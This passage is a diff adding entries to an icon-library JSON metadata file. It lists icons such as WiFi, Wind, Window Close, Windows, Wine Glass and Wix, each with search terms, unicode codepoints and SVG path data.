+ "styles": [ + "solid" + ], + "unicode": "f1eb", + "label": "WiFi", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635813, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z" + } + }, + "free": [ + "solid" + ] + }, + "wikipedia-w": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f266", + "label": "Wikipedia W", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z" + } + }, + "free": [ + "brands" + ] + }, + "wind": { + "changes": [ + "5.4.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "air", + "blow", + "breeze", + "fall", + "seasonal", + "weather" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f72e", + "label": "Wind", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635814, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z" + } + }, + "free": [ + "solid" + ] + }, + "window-close": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "cancel", + "computer", + "development" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f410", + "label": "Window Close", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635815, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z" + }, + "regular": { + "last_modified": 1628088635295, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "window-maximize": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "computer", + "development", + "expand" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2d0", + "label": "Window Maximize", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635816, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z" + }, + "regular": { + "last_modified": 1628088635296, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "window-minimize": { + "changes": [ + "4.7", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "collapse", + "computer", + "development" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2d1", + "label": "Window Minimize", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635817, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z" + }, + "regular": { + "last_modified": 1628088635296, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "window-restore": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "computer", + "development" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2d2", + "label": "Window Restore", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635817, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z" + }, + "regular": { + "last_modified": 1628088635296, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "windows": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "microsoft", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f17a", + "label": "Windows", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z" + } + }, + "free": [ + "brands" + ] + }, + "wine-bottle": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "beverage", + "cabernet", + "drink", + "glass", + "grapes", + "merlot", + "sauvignon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f72f", + "label": "Wine Bottle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635818, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z" + } + }, + "free": [ + "solid" + ] + }, + "wine-glass": { + "changes": [ + "5.0.9", + "5.1.0", + "5.10.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "beverage", + "cabernet", + "drink", + "grapes", + "merlot", + "sauvignon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4e3", + "label": "Wine Glass", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635819, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z" + } + }, + "free": [ + "solid" + ] + }, + "wine-glass-alt": { + "changes": [ + "5.1.0", + "5.10.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "beverage", + "cabernet", + "drink", + "grapes", + "merlot", + "sauvignon" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ce", + "label": "Alternate Wine Glas", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635819, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z" + } + }, + "free": [ + "solid" + ] + }, + "wix": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5cf", + "label": "Wix", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z" + } + }, + "free": [ + "brands" + ] + }, + "wizards-of-the-coast": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "game", + "gaming", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f730", + "label": "Wizards of the Coast", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 